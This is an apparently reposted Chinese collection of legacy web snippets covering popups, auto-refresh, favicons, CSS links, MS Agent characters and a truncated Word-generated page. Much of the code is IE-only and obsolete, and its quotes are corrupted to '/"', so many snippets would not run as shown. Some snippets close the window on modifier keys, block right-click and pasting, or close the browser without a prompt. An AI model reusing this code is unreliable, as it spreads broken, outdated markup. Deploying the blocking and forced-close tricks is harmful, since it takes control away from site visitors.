很精典的WEB开发常用代码

来源:互联网 发布:姐妹团网络推广公司 编辑:程序博客网 时间:2024/06/16 01:48

<a href="下页.aspx" onclick="javascript:location.replace(this.href);event.returnValue=false;">不能后退</a>

显示访问者的浏览器名:
 <script language="JavaScript">
document.write("我猜,你的浏览器是"+navigator.appName+",对不对?")
 -->
</script>


                                  
1、改变IE地址栏的IE图标

  我们要先做一个16*16的icon(图标文件),保存为index.ico。把这个图标文件上传到根目录下并在首页<head></head>之间加上如下代码:
  <link REL = "Shortcut Icon" href="index.ico">

2、让网页随意后退

  <a href="javascript:history.go(-X)">X</a> //把X换成你想要后退在页数
           //把“-”变成“+”就为前进

3、鼠标指向时弹出信息框

  在<body></body>之间加上如下代码:

  <a href onmouseover="alert(''弹出信息!'')">显示的链接文字</a>

4、表格的半透明显示效果

  在<head></head>之间加上如下代码:

  <style>
  .alpha{filter: Alpha(Opacity=50)}   //50表示50%的透明度
  </style>

  在<body></body>之间加上如下代码:
  <table border="1" width="100" height="62"  class="alpha" bgcolor="#F2A664" >
  <tr>
  <td width="100%" height="62">
  <div align="center">很酷吧!</div>
  </td>
  </tr>
  </table>

5、单击按钮打印出当前页

  <Script  Language="JavaScript">
  <!-- Begin
  if (window.print) {
  document.write(''<form>''
  + ''<input type=button name=print value="打印本页" ''
  + ''onClick="javascript:window.print()"></form>'');
  }
  // End -->
  </Script>

6、显示系统当前日期

  <script language=JavaScript>
  today=new Date();
  function date(){
  this.length=date.arguments.length
  for(var i=0;i<this.length;i++)
  this[i+1]=date.arguments[i]  }
  var d=new date("星期日","星期一","星期二","星期三","星期四","星期五","星期六");
  document.write(
  "<font color=##000000 style=''font-size:9pt;font-family: 宋体''> ",
  today.getYear(),"年",today.getMonth()+1,"月",today.getDate(),"日",
  d[today.getDay()+1],"</font>" );
  </script>

7、关闭当前窗口

  <a href="/"onClick="javascript:window.close();return false;">关闭窗口</a>

8、2秒后载入指定网页

  <head>
  <meta http-equiv="refresh" content="2;URL=http://你的网址">
  </head>

9、添加到收藏夹

  <Script Language="JavaScript">
  function bookmarkit()
  {
  window.external.addFavorite(''http://你的网址'',''你的网站名称'')
  }
  if (document.all)document.write(''<a href="#" onClick="bookmarkit()">加入收藏夹</a>'')
  </Script>

10、让超链接不显示下划线

  <style type="text/css">
  <!-
  a:link{text-decoration:none}
  a:hover{text-decoration:none}
  a:visited{text-decoration:none}
  ->
  </style>

11、设置该页为首页

  <body bgcolor="#FFFFFF" text="#000000">
  <!-- 网址:http://你的网址-->
  <a class="chlnk" style="cursor:hand" HREF
  onClick="this.style.behavior=''url(#default#homepage)'';
  this.setHomePage(''你的网站名称);"><font color="000000" size="2" face="宋体">设为首页</font></a>
  </body>

12、禁止右键、选择、粘贴、shift、ctrl、alt.....

<script language="JavaScript">
<!--
function key(){
if(event.shiftKey){
window.close();}
//禁止shift
if(event.altKey){
window.close();}
//禁止alt
if(event.ctrlKey){
window.close();}
//禁止ctrl
return false;}
document.onkeydown=key;
if (window.Event)
document.captureEvents(Event.MOUSEUP);
//swordmaple javascript article.
//from www.jx165.com
function nocontextmenu(){
event.cancelBubble = true
event.returnValue = false;
return false;}
function norightclick(e){
if (window.Event){
if (e.which == 2 || e.which == 3)
return false;}
else
if (event.button == 2 || event.button == 3){
event.cancelBubble = true
event.returnValue = false;
return false;}
}
//禁止右键
document.oncontextmenu = nocontextmenu;  // for IE5+
document.onmousedown = norightclick;  // for all others
oncontextmenu="return false"
//-->
</script>
<body onselectstart="return false"  onpaste="return false"  ondragstart="return false" >
选择字符试试1010110
<input size=30>
<!--onselectstart禁止选择 onpaste禁止粘贴   ondragstart禁止拖拽文本、链接-->

13、使用CSS设置段落首字下沉

  我们在使用Word制作文档,或者观看某些报刊杂志时,总会看到段落的首字下沉的效果。那我们在使用DW制作网页时,是否也能做出这样的效果呢?答案是肯定的。
  制作方法:
  定义CSS样式,代码如下:
.first {FONT-WEIGHT: bolder; FONT-SIZE: 230%; FLOAT: left; COLOR: #990000; LINE-HEIGHT: 1.3em; background-color: #E4E4E4}
  代码介绍如下:
  Font-weight:bolder 定义字体的粗细,我们这里设置成特粗;
  Font-size:230% 定义字体的大小;
  Float:left 定义字体的浮动方式,这里设置左对齐;
  Color:#990000: 定义字体的颜色值;
  Line-height:  定义字体的行高;
  Background-color: 定义字体的背景颜色。
  你也可以使用DW定义CSS的方法,一一进行设置。
  至此,我们的效果便制作好了,你不仿试试!

14、让弹出窗口变得“体贴”一些

   在网上冲浪时进入一些网站会出现弹出窗口。它可能是站长对你的亲切问候,也可能是网站的重要通告、网站广告之类的。但用得不好会让人产生厌烦心理。如何才能让弹出窗口发挥作用,而又不影响浏览者浏览页面呢?

  一般的弹出窗口都需要你去关闭它,浏览者一定会觉得很麻烦。如果能让它自己关闭那该多好。要实现这种效果其实很简单,


①首先,把下面的程序加入到< head >< /head >区域中。


< script language="JavaScript" >
< !--
var gt = unescape('3e');
var popup = null;
var over = "Launch Pop-up Navigator";
popup = window.open('', 'popupnav', 'width=225,height=235,resizable=1,scrollbars=auto');
if (popup != null) {
if (popup.opener == null) {
popup.opener = self;
}
popup.location.href = 'dogQ.htm';
}
// -- >
< /script >

②新建dogQ.htm文件(即:弹出窗口所用的文件),此文件名要与上文“popup.location.href = 'dogQ.htm'”中设置的文件名一致。

③编辑新建的文件dogQ.htm(注意dogQ.htm要与主页面文件在同一目录下)。先把< body bgcolor="#FFFFFF" text="#000000" >改为< body bgcolor="#fef4d9" onload="closeit()" >,然后在< body >< /body >之间加入:


< script language="JavaScript" >
function closeit() {
setTimeout("self.close()",10000)
}
< /script >

  注:倒数第三行中的10000是指过多长时间关闭(可根据需要修改),10000为10秒。这样,弹出窗口在10秒后会自动关闭,浏览者不需要理它。


若想在整页中去掉超链结的下划线,
在<head>与</head>之间加上
<style>
<!--
a{text-decoration:none}
-->
</style>

 

 

 

把如下代码加入<body>区域中
<INPUT TYPE="button" VALUE="把本站设为首页" onClick="this.style.behavior='url(#default#homepage)'; this.setHomePage('http://www.1stscript.com');"><BR>
<INPUT TYPE="button" VALUE="添加到收藏夹" onClick="window.external.AddFavorite(parent.location.href, document.title);">

1.怎样才能把RealPlayer文件在网页做一个试听连接?

<embed height=25 src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart=/"false/" controls=/"PlayButton/">

2.请问如何去掉IE的上下滚动条?

<body style=/'overflow:scroll;overflow-y:hidden/'>

</body>

3.如何在打开页面的时候,输入表单就获得焦点?

如果表单没有名字可以用document.forms[index]数组访问 如果表单项没有名字可以用document.forms[index].elements[index]数组访问 这里index是整数 比如:

<form>

<input type=/"text/" value=/"/" onclick =/"document.forms[0].elements[0].value=/'我是表单1,第一个表单项/';/">

</form>

<form name=/"form2/">

<input type=/"text/" value=/"/" onclick =/"document.form2.elements[0].value=/'我是表单2,第一个表单项/';/">

</form>

<form name=/"form3/">

<input name=/"text3/" type=/"text/" value=/"/" onclick =/"document.form3.text3.value=/'我是表单3,第一个表单项/';/">

</form>

4.解释一下event.X和event.clientX有什么区别?

event.clientX返回事件发生时,mouse相对于客户窗口的X坐标

event.X也一样

但是如果设置事件对象的定位属性值为relative

event.clientX不变

而event.X返回事件对象的相对于本体的坐标

event代表事件的状态,例如事件发生的的元素、鼠标的位置等等,event对象只在事件过程中才有效。

event属性:

altKey

检索ALT键的当前状态

可能的值 true为关闭

false为不关闭

button

检索按下的鼠标键

可能的值: 0 没按键

1 按左键

2 按右键

3 按左右键

4 按中间键

5 按左键和中间键

6 按右键和中间键

7 按所有的键

cancelBubble

设置或检索当前事件是否将事件句柄起泡

可能的值: false 启用起泡

true 取消该事件起泡

clientX

检索与窗口客户区域有关的鼠标光标的X坐标,属性为只读,没有默认值。

clientY

检索与窗口客户区域有关的鼠标光标的Y坐标,属性为只读,没有默认值。

ctrlKey

ctrlKey 检索CTRL键的当前状态

可能的值 true为关闭

false为不关闭

dataFld

检索被oncellchange事伯影响的列

aTransfer

为拖放操作提供预先定义的剪贴板式。

Element

检索在onmouseover和onmouseout事件期间退出的对象指针

keyCode

设置或检索与引发事件的关键字相关联的Unicode关键字代码

该属性与onkeydown onkeyup onkeypress一起使用

如果没有引发事件的关键字,则该值为0

offsetX

检索与触发事件的对象相关的鼠标位置的水平坐标

offsetY

检索与触发事件的对象相关的鼠标位置的垂直坐标

propertyName

检索在对象上己更改的特性的名称

reason

检索数据源对象数据传输的结果

可能的值:

0 数据传输成功

1 数据传输失败

2 数据传输错误

recordset

检索数据源对象中默认记录集的引用

该特性为只读

repeat

检索一个事件是否被重复

该属性只有在onkeydown事件重复时才返回true

returnValue

设置或检索从事件中返回的值

可能的值:

true 事件中的值被返回

false 源对象上事件的默认操作被取消

screenX

检索与用户屏相关的鼠标的水平位置

screenY

检索与用户屏相关的鼠标的垂直位置

shiftKey

检索shiftKey键的当前状态

可能的值 true为关闭

false为不关闭

srcElement

检索触发事件的对象

srcFilter

检索导致onfilterchange事件触发的过滤器对象

srcUm

检索触发事件行为的同一资源名称

除非下面两个条件都为真,否则该特性被设置为null

1.行为被附加到触发事件的要素上

2.在前面的项目符号中定义的行为己指定了一个URN标识符和己触发的事件

toElement

检索作为onmouseover或者onmouseout事件结果而移动的对象

type

检索事件对象中的事件名称

x

检索相对于父要素鼠标水平坐标的整数

y

检索相对于父要素鼠标垂直坐标的整数

5.请问如何让网页自动刷新?

在head部记入<META HTTP-EQUIV=/"Refresh/" content=/"20/">其中20为20秒后自动刷新,你可以更改为任意值。

6.如何让一个窗口永远在最上面?

<a onclick=aa()>点这里</a>

<script language=/'javascript/'>

function aa(){

y=window.showModalDialog(/"http://www.51js.com/",/"/",/"Height: 300; Width: 275; help: no/");

}

</script>

7.如何实现虚线边框?

<html>

<head>

<title>虚线</title>

<meta http-equiv=/"Content-Type/" content=/"text/html; charset=gb2312/">

</head>

<body bgcolor=/"#FFFFFF/" text=/"#000000/">

<table width=/"100%/" border=/"0/" cellspacing=/"0/" cellpadding=/"0/">

<tr>

<td style=/"border-top-style:dashed ;/"> </td>

</tr>

</table>

</body>

</html>

[/html]

还可以把dashed换成dotted | solid | double | groove | ridge | inset | outset 等等样式,还可以在style里指定颜色:border-color:#??????

[html]<html>

<head>

<meta http-equiv=/"Content-Type/" content=/"text/html; charset=gb2312/">

<title>New Page 1</title>

<meta name=/"GENERATOR/" content=/"Microsoft FrontPage 3.0/">

</head>

<body>

<table border=/"1/" width=/"100%/" style=/"border: 1px dashed/">

<tr>

<td width=/"50%/"> </td>

<td width=/"50%/"> </td>

</tr>

<tr>

<td width=/"50%/"> </td>

<td width=/"50%/"> </td>

</tr>

<tr>

<td width=/"50%/"> </td>

<td width=/"50%/"> </td>

</tr>

</table>

</body>

</html>

[/html]

[html]<html>

<body>

<table>

<tr>

<td style=/"border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000/">只有这样才行吗?</td>

</tr>

<tr><td style=/"border-left:dashed 1px #000000;border-right:dashed 1px #000000/" height=100> </td></tr>

<tr><td style=/"border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000/">如果td多了,这样出来的虚线边框是断断续续的。</td></tr></table>

</body></html>

8.如何用html实现浏览器上后退按钮的功能?

<a href=/"javascript:history.go(-1)/">点击后退</a>

或者

<script> history.back() </script>

9.表单中如何用图片按钮实现 reset?

<html>

<head>

<script>

function aaa(){

document.forms[0].reset()

}

</script>

</head>

<body>

<form>

<textarea rows=/"2/" name=/"S1/" cols=/"20/"></textarea>

<input type=/"submit/" value=/"提交/" name=/"B1/">

<image src=/"logo.gif/" onclick=aaa()>

</form>

</body></html>

10.怎样去掉图片链接点击后,图片周围的虚线?

onFocus=/"if(this.blur)this.blur()/" blur: 使物件失焦... 當你点击图片链接時 图片链接得到焦點(Focus) 就會出現虚线(提示你這個圖片得到焦點了) 用blur能使之失焦 簡單一點的語法 onFocus=/"this.blur()/"

11.如何去掉网页连接的下划线?

<head>

<style type=/"text/css/">

<!--

A { text-decoration: none}

-->

</style>

</head>

<a href=http://www.51js.com>一个连接</a>

12.请问怎么在网页中改变鼠标的箭头形状?

<body>

<a href=/"#/" style=/"cursor: auto;/">auto</a><br>

<a href=/"#/" style=/"cursor: crosshair /">crosshair </a><br>

<a href=/"#/" style=/"cursor: default /">default </a><br>

<a href=/"#/" style=/"cursor: hand /">hand </a><br>

<a href=/"#/" style=/"cursor: move /">move </a><br>

<a href=/"#/" style=/"cursor: e-resize /">e-resize </a><br>

<a href=/"#/" style=/"cursor: ne-resize /">ne-resize </a><br>

<a href=/"#/" style=/"cursor: nw-resize/">nw-resize</a><br>

<a href=/"#/" style=/"cursor: n-resize/">n-resize</a><br>

<a href=/"#/" style=/"cursor: se-resize/">se-resize</a><br>

<a href=/"#/" style=/"cursor: sw-resize/">sw-resize</a><br>

<a href=/"#/" style=/"cursor: s-resize/">s-resize</a><br>

<a href=/"#/" style=/"cursor: w-resize/">w-resize</a><br>

<a href=/"#/" style=/"cursor: text/">text</a><br>

<a href=/"#/" style=/"cursor: wait/">wait</a><br>

<a href=/"#/" style=/"cursor: help/">help</a><br>

</body>

13.target=/"_blank/"规定链接在新窗口中打开,那 target=/"_parent/"、 target=/"_self/" 、target=/"_top/"的作用又是什么?

target=/"_parent/"、上一层框架

target=/"_self/" 、自身窗口、框架

target=/"_top/" 最顶层框架。

更细点的解释,从织梦补给网找来的:

_blank

開啟一個新的視窗,而且是沒有命名的視窗。

_self

強迫連結的結果顯示在同一個子畫面,而忽略 BASE 的設定。

_parent

在該子畫面的「父畫面」(也就是上一層的 FRAMESET)中顯示連結的結果。

_top

從視窗的最上頭開始顯示畫面;換句話說就是先清除整個視窗後再載入連結

14.如何使网友收藏本网时,收藏夹显示的不是微软的那个一成不变的标志,而是本人选择的ICON?

<LINK href=/"fav.ico/" rel=/"shortcut icon/">

加入HADE標簽中,圖片放入根目錄下,須是.ico格式.

有的空間不支援直接放在根目錄

必須加上

<LINK href=/"路徑/圖檔.ico/" rel=/"shortcut icon/">

15.请问如何去掉主页右面的滚动条?

<body scroll=/"no/">

<body style=/"overflow-y:hidden/">

[ Last edited by enru on 2004-6-2 at 19:34 ]
 

游泳的猫 2005-10-27 14:55
16.怎样不使用页面的缓存?即每一次打开页面时不是调用缓存中的东西

<META HTTP-EQUIV=/"Pragma/" CONTENT=/"no-cache/">

17.请问如何忽视右键?
<body oncontextmenu=/"return false/">

18.怎样在同一页面内控制不同链接的CSS属性?

a:active{}

a:link{}

a:visited{}

a.1:active{}

a.1:link{}

a.1:visited{}

在DW4的CSS中定义一个新的标示,按照HTML的语法,超级连接得是

A.YOURS:LINK A.YOURS:HOVER

YOURS可以改作你自己的字

然后在选中某个连接后,在CSS面版中点中YOURS即可。

按需要,你可以定义N个标示,N种鼠标OVER的效果

19.电子邮件处理提交表单

<form name=/"form1/" method=/"post/" action=/"mailto:webmaster@51js.com/" enctype=/"text/plain/">

<input type=submit>

</form>

20.有没有可能用层来遮住FLASH?

1.在flash的parameters里加入 <param name=/"wmode/" value=/"transparent/">

2.<body onblur=self.focus()>

21.如何根据屏幕分辨率调用相对应的页面?

先做好几个页面,比如一个htm1.htm是800*600,一个是htm2.htm是1024*768的 然后在你的入口页面 index.htm 中判断:

<html>

<head>

<script language=javascript>

<!--

function mHref() {

if (screen.width == 1024) location.href = /"htm2.htm/";

else if (screen.width == 800) location.href = /"htm1.htm/";

else return(false);

}

//-->

</script>

</head>

<body onload=/"mHref();/">

</body>

</html>

22.不用询问就关闭浏览器

<head>

<OBJECT id=closes type=/"application/x-oleobject/" classid=/"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11/">

<param name=/"Command/" value=/"Close/">

</object>

</head>

<body>

<input type=/"button/" value=/"点击我关闭窗口/" onclick=/"closes.Click();/">

</body>

23.如何弹出只有状态栏的窗口?

<html>

<head>

<title>open() close()</title>

<script language=/"javascript/" type=/"text/javascript/">

<!--

function openWin()

{

var newWin=open(/"/",/"/",/"menubar=1,height=200/");

newWin.document.write(/"<form>/");

newWin.document.write(/"单击以下按钮关闭窗口:<p>/");

newWin.document.write(/"<input type=button value=/'关闭/' onclick=window.close()>/");

newWin.document.write(/"</form>/");

}

</script></head>

<body>

<div align=center>

<h2>单击以下按钮显示新窗口...</h2>

<form name=form1>

<input type=button value=/"新窗口1[只显示地址栏]/" onclick=window.open(/'/',/'new1/',/'location=1/')>

<input type=button value=/"新窗口2[只显示状态栏]/" onclick=window.open(/'/',/'/',/'status=1/')>

<input type=button value=/"新窗口3[只显示工具栏]/" onclick=window.open(/'/',/'new2/',/'toolbar=1,height=200,width=450/')>

<input type=button value=/"新窗口4[只显示菜单栏]/" onclick=openWin()>

<input type=button value=/"新窗口5[一个不少]/" onclick=window.open(/'/',/'new5/')>

<input type=button value=/"新窗口6[光棍但可调大小]/" onclick=window.open(/'http://www.51js.com/forumdisplay.php?forumid=32#thread/',/'new6/',/'resizable=1/')>

</form>

</div>

</body>

</html>

24.如何改变iframe的src地址

<body>

<input type=/"button/" value=/"改变地址/" onClick=/"parent.displayinhere.location.href=/'http://www.gznet.com//'/">

<iframe name=/"displayinhere/" width=250px; height=200px; src=/"http://www.51js.com/">

</body>

25.如何让超链接没有下划线

在源代码中的<HEAD>…</HEAD>之间输入如下代码:

<style type=/"text/css/"> <!--

a { text-decoration: none}

--> < /style>

26.页面打开时自动弹出一个窗口的代码怎么写?

<html>

<head>

<title>Untitled Document</title>

<meta http-equiv=/"Content-Type/" content=/"text/html; charset=gb2312/">

<script language=/"JavaScript/">

<!--

function MM_openBrWindow(theURL,winName,features) { //v2.0

window.open(theURL,winName,features);

}

//-->

</script>

</head>

<body bgcolor=/"#FFFFFF/" text=/"#000000/" onLoad=/"MM_openBrWindow(/'1212312.htm/',/'/',/'width=400,height=400/')/">

</body>

</html>

27.请问如何做到让一个网页自动关闭.

<html>

<head>

<OBJECT id=closes type=/"application/x-oleobject/" classid=/"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11/">

<param name=/"Command/" value=/"Close/">

</object>

</head>

<body onload=/"window.setTimeout(/'closes.Click()/',10000)/">

这个窗口会在10秒过后自动关闭,而且不会出现提示. </body>

28.如何让我的页面出现一个会讲话的小人?Merlin

<HTML>

<HEAD>

<TITLE>默林</TITLE>

<META http-equiv=Content-Type content=/"text/html; charset=gb2312/">

</HEAD>

<BODY>

<p><OBJECT id=sims classid=CLSID<img src=/"images/smilies/bigsmile.gif/" border=0>45FD31B-5C6E-11D1-9EC1-00C04FD7081F>

</OBJECT>

<SCRIPT>

var MerlinID;

var MerlinACS;

sims.Connected = true;

MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);

Merlin = sims.Characters.Character(MerlinID);

Merlin.Show();

Merlin.Play(/"Surprised/");

Merlin.Speak(/"大家好/");

Merlin.Play(/"GestureLeft/");

Merlin.Think(/"我是默林!/");

Merlin.Play(/"Pleased/");

Merlin.Think(/"可爱吗?/");

Merlin.Play(/"GestureDown/");

Merlin.Speak(/"哈哈!/");

Merlin.Hide();

function LoadLocalAgent(CharID, CharACS){

LoadReq = sims.Characters.Load(CharID, CharACS);

return(true);

}

</SCRIPT>

</p>

<p> </p>

<p>看此效果必须装有office2000!!!</p>

</BODY>

</HTML>

如果看不到效果或效果有问题,请将代码保存为html文件查看.

这代码中使用的MSAgent仍然属于客户端的控件,在Win98安装PWS时可以安装上一个叫Merlin的精灵,查查你的系统中有没有一个叫做Merlin.acf的文件,应该在一个叫MSAgent的目录,记不太清了,有的话才能看到,否则就会出现下载的提示,在Win2000中已安装了MSAgent2.0,所以一般都会正确的显示出来,还有很多精灵,但之所以选用Merlin因为大部分的机器上都有,如果想自己定制的话,可以到微软去下载一个叫Character Editor的工具,制作的精灵必须分发到客户端才可使用,在微软站点的MSAgent是在服务器端的,每个命令都要到服务器上去处理,然后发回相应的动作图画,(不过至今我还没看到过,我们的带宽本来就不够,还有一堆人在下载,哎,真是痛苦!),我还没有看到有关在Server端制作MSAgent的文章,谁有的话,可以告诉我一声。 其中: 用/"=number/" number是字数/分 例如: Merlin.Speak /"=62to the 51js/" Merlin.Speak /"=160to the 51js/" 还有,找到这句: Merlin.LanguageID = 0x409; 改为0x804 (Simplified Chinese) 改为0x404 (Traditional Chinese) 要用的话最好到微软去看看它的使用许可协议,要是被微软告了可别怪我噢!! 最终用户许可 http://msdn.microsoft.com/msagent/eula.asp 分发许可 http://msdn.microsoft.com/msagent/agentlic.asp MSAgent 下载 http://activex.microsoft.com/activex/controls/agent2/MSagent.exe http://agent.microsoft.com/agent2/chars/Merlin.exe http://agent.microsoft.com/agent2/chars/Peedy.exe 资料: http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp
29.如何几秒后转到别的页面?

<META HTTP-EQUIV=/"Refresh/" CONTENT=/"时间;URL=地址/">

30.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动

<html><head>

<STYLE>

body {background-image:url(../bihu/pic/logo.gif);

background-repeat:no-repeat; background-position:center }

</STYLE>

</head>

<body bgproperties=/"fixed/" >

</body>

</html>

31.文本输入框什么属性能实现不可输入?

<input type=/"text/" name=/"textfield/" disabled>

或者

<input type=/"text/" name=/"textfield/" readonly>
 

游泳的猫 2005-10-27 14:55
32.怎样保持layer在最前面,而不被Iframe、Object所覆盖,有什么解决方法?

只要在Layer中再插Iframe 或 Object 设z-Index值

<div z-Index:2><object xxx></object></div> # 前面

<div z-Index:1><object xxx></object></div> # 后面

<div id=/"Layer2/" style=/"position:absolute; top:40;width:400px; height:95px;z-index:2/"><table height=100% width=100% bgcolor=/"#ff0000/"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>

<div id=/"Layer1/" style=/"position:absolute; top:50;width:200px; height:115px;z-index:1/"><iframe height=100% width=100%></iframe></div>

33.如何让表格并排?

首先在第一个表里应该这样写: /"<table border=0 cellpadding=1 cellspacing=1 align=left>/" 这table里最为关键是/"align=left/"这一句。 然后在第二个表里也应该加上align=left 这样,你的目的就达到了。

<table width=/"200/" border=/"0/" cellspacing=/"1/" cellpadding=/"0/" bgcolor=/"#000000/" align=left>

<tr>

<td bgcolor=/"#ffffff/"> </td>

</tr>

</table>

<table width=/"200/" height=200 border=/"0/" cellspacing=/"1/" cellpadding=/"0/" bgcolor=/"#cccccc/" align=left>

<tr>

<td bgcolor=/"#ffffff/"> </td>

</tr>

</table>

[/html]

[html]<table border=/"1/" cellspacing=/"0/" cellpadding=/"0/" bordercolor=/"#ff0000/" align=left> <tr><td>你好</tr></td></table>

<table border=/"1/" cellspacing=/"0/" cellpadding=/"0/" bordercolor=/"#00ff00/"><tr><td> 我很好</tr></td></table>

<br>还可以排三个

<br>

<table border=/"1/" cellspacing=/"0/" cellpadding=/"0/" bordercolor=/"#ff0000/" align=left> <tr><td>你好</tr></td></table>

<table border=/"1/" cellspacing=/"0/" cellpadding=/"0/" bordercolor=/"#00ff00/" align=right><tr><td> 我很好</tr></td></table>

<table border=/"1/" cellspacing=/"0/" cellpadding=/"0/" bordercolor=/"#0000ff/" align=center><tr><td> 他也很好</tr></td></table>

34.如何让两个form表单行距之间不出现空格?

这样写 <TABLE><FORM><TR>.......</TR></FORM></TABLE>

35.如何让页面自动刷新?

方法一,用refresh

<head>

<meta http-equiv=/"refresh/" content=/"5/">

</head>

5表示刷新时间

方法二,使用setTimeout控制 <script> function rl(){ document.location.reload() } setTimeout(rl,2000) </script>

36.如何给文本连接加上提示语言?

<a href=/"#/" title=/"我出来拉/">click me</a>

37.英文排版的问题:怎么能让英自动排列整齐?

请使用css中的 text-align: justify;

<table style=/"TABLE-LAYOUT: fixed/" width=/"100%/" border=/"0/" cellspacing=/"0/" cellpadding=/"7/" bgcolor=/"#f7f7f7/">

<tr>

<td style=/"LEFT: 0px; WIDTH: 100%; text-align: justify/"><font color=/"#990000/">[效果]</font><br>

who are you you are a aaa is it comprehention who are you you are a pig is it comprehention

who are you you are a aaa is it comprehention

who are you you are a aaa is it comprehention

</font></td>

</tr>

</table>

38.如何禁止自己的页面在别人的框架里打开?

把以下代码加至你的<head>区

<script>

if (window.top!=self){

window.top.location=self.location

}

</script>

39.在打开的子窗口刷新父窗口的代码里如何写?

window.opener.location.reload()

40.如何不用图片生成圆角的表格?

<html xmlns:v=/"urn:schemas-microsoft-com:vml/"

xmlns:o=/"urn:schemas-microsoft-com:office:office/"

xmlns:w=/"urn:schemas-microsoft-com:office:word/"

xmlns=/"http://www.w3.org/TR/REC-html40/">

<head>

<meta http-equiv=Content-Type content=/"text/html; charset=GB2312/">

<link rel=Original-File href=/"文档%201/">

<meta name=ProgId content=Word.Document>

<meta name=Generator content=/"Microsoft Word 9/">

<meta name=Originator content=/"Microsoft Word 9/">

<link rel=File-List href=/"./文档%201.files/filelist.xml/">

<link rel=Edit-Time-Data href=/"./文档%201.files/editdata.mso/">

<!--[if !mso]>

<style>

v* {behavior:url(#default#VML);}

o* {behavior:url(#default#VML);}

w* {behavior:url(#default#VML);}

.shape {behavior:url(#default#VML);}

</style>

<![endif]--><!--[if gte mso 9]><xml>

<oocumentProperties>

<o:Author>zhy</o:Author>

<o:Template>Normal</o:Template>

<o:Revision>1</o:Revision>

<o:TotalTime>1</o:TotalTime>

<o:Created>2003-05-10T09:20:00Z</o:Created>

<oages>1</oages>

<o:Characters>1</o:Characters>

<o:Company>yd</o:Company>

<o:Lines>1</o:Lines>

<oaragraphs>1</oaragraphs>

<o:CharactersWithSpaces>1</o:CharactersWithSpaces>

<o:Version>9.2812</o:Version>

</oocumentProperties>

</xml><![endif]--><!--[if gte mso 9]><xml>

<w:WordDocument>

<w:View>Normal</w:View>

<w:Zoom>0</w:Zoom>

<wunctuationKerning/>

<wrawingGridVerticalSpacing>7.8 磅</wrawingGridVerticalSpacing>

<wisplayHorizontalDrawingGridEvery>0</wisplayHorizontalDrawingGridEvery>

<wisplayVerticalDrawingGridEvery>2</wisplayVerticalDrawingGridEvery>

<w:Compatibility>

<w:SpaceForUL/>

<w:BalanceSingleByteDoubleByteWidth/>

<woNotLeaveBackslashAlone/>

<w:ULTrailSpace/>

<woNotExpandShiftReturn/>

<w:AdjustLineHeightInTable/>

<w:UseFELayout/>

</w:Compatibility>

<woNotOptimizeForBrowser/>

</w:WordDocument>

</xml><![endif]-->

<style>

<!--

/* Font Definitions */

@font-face

{font-family:宋体;

panose-1:2 1 6 0 3 1 1 1 1 1;

mso-font-alt:SimSun;

mso-font-charset:134;

mso-generic-font-family:auto;

mso-font-pitch:variable;

mso-font-signature:1 135135232 16 0 262144 0;}

@font-face

{font-family:/"@宋体/";

panose-1:2 1 6 0 3 1 1 1 1 1;

mso-font-charset:134;

mso-generic-font-family:auto;

mso-font-pitch:variable;

mso-font-signature:1 135135232 16 0 262144 0;}

/* Style Definitions */

p.MsoNormal, li.MsoNormal, div.MsoNormal

{mso-style-parent:/"/";

margin:0cm;

margin-bottom:.0001pt;

text-align:justify;

text-justify:inter-ideograph;

mso-pagination:none;

font-size:10.5pt;

mso-bidi-font-size:12.0pt;

font-family:/"Times New Roman/";

mso-fareast-font-family:宋体;

mso-font-kerning:1.0pt;}

/* Page Definitions */

@page

{mso-page-border-surround-header:no;

mso-page-border-surround-footer:no;}

@page Section1

{size:595.3pt 841.9pt;

margin:72.0pt 90.0pt 72.0pt 90.0pt;

mso-header-margin:42.55pt;

mso-footer-margin:49.6pt;

mso-paper-source:0;

layout-grid:15.6pt;}

div.Section1

{page:Section1;}

-->

</style>

<!--[if gte mso 9]><xml>

<o:shapedefaults v:ext=/"edit/" spidmax=/"2050/"/>

</xml><![endif]--><!--[if gte mso 9]><xml>

<o:shapelayout v:ext=/"edit/">

<o:idmap v:ext=/"edit/" data=/"1/"/>

</o:shapelayout></xml><![endif]-->

</head>

<body lang=ZH-CN style=/'tab-interval:21.0pt;text-justify-trim:punctuation/'>

<div class=Section1 style=/'layout-grid:15.6pt/'>

<p class=MsoNormal><!--[if gte vml 1]><v:shapetype id=/"_x0000_t176/"

coordsize=/"21600,21600/" o:spt=/"176/" adj=/"2700/" path=/"m@0,0qx0@0l0@2qy@0,21600l@1,21600qx21600@2l21600@0qy@1,0xe/">

<v:stroke joinstyle=/"miter/"/>

<v:formulas>

<v:f eqn=/"val #0/"/>

<v:f eqn=/"sum width 0 #0/"/>

<v:f eqn=/"sum height 0 #0/"/>

<v:f eqn=/"prod @0 2929 10000/"/>

<v:f eqn=/"sum width 0 @3/"/>

<v:f eqn=/"sum height 0 @3/"/>

<v:f eqn=/"val width/"/>

<v:f eqn=/"val height/"/>

<v:f eqn=/"prod width 1 2/"/>

<v:f eqn=/"prod height 1 2/"/>

</v:formulas>

<v:path gradientshapeok=/"t/" limo=/"10800,10800/" o:connecttype=/"custom/"

o:connectlocs=/"@8,0;0,@9;@8,@7;@6,@9/" textboxrect=/"@3,@3,@4,@5/"/>

</v:shapetype><v:shape id=/"_x0000_s1028/" type=/"#_x0000_t176/" style=/'position:absolute;

left:0;text-align:left;margin-left:135pt;margin-top:31.2pt;width:171pt;

height:101.4pt;z-index:1/'>

<v:textbox>

<![if !mso]>

<table cellpadding=0 cellspacing=0 width=/"100%/">

<tr>

<td><![endif]>

<div>

<p class=MsoNormal><span style=/'font-family:宋体;mso-ascii-font-family:/"Times New Roman/";

mso-hansi-font-family:/"Times New Roman/"/'>这个可以算吗</span></p>

</div>

<![if !mso]></td>

</tr>

</table>

<![endif]></v:textbox>

</v:shape><![endif]--><![if !vml]><span style=/'mso-ignore:vglayout/'>

<table cellpadding=0 cellspacing=0 align=left>

<tr>

<td width=180 height=42></td>

</tr>

<tr>

<td></td>

<td><img width=231 height=138 src=/"./文档%201.files/image001.gif/"

alt=/" 这个可以算吗/" v:shapes=/"_x0000_s1028/"></td>

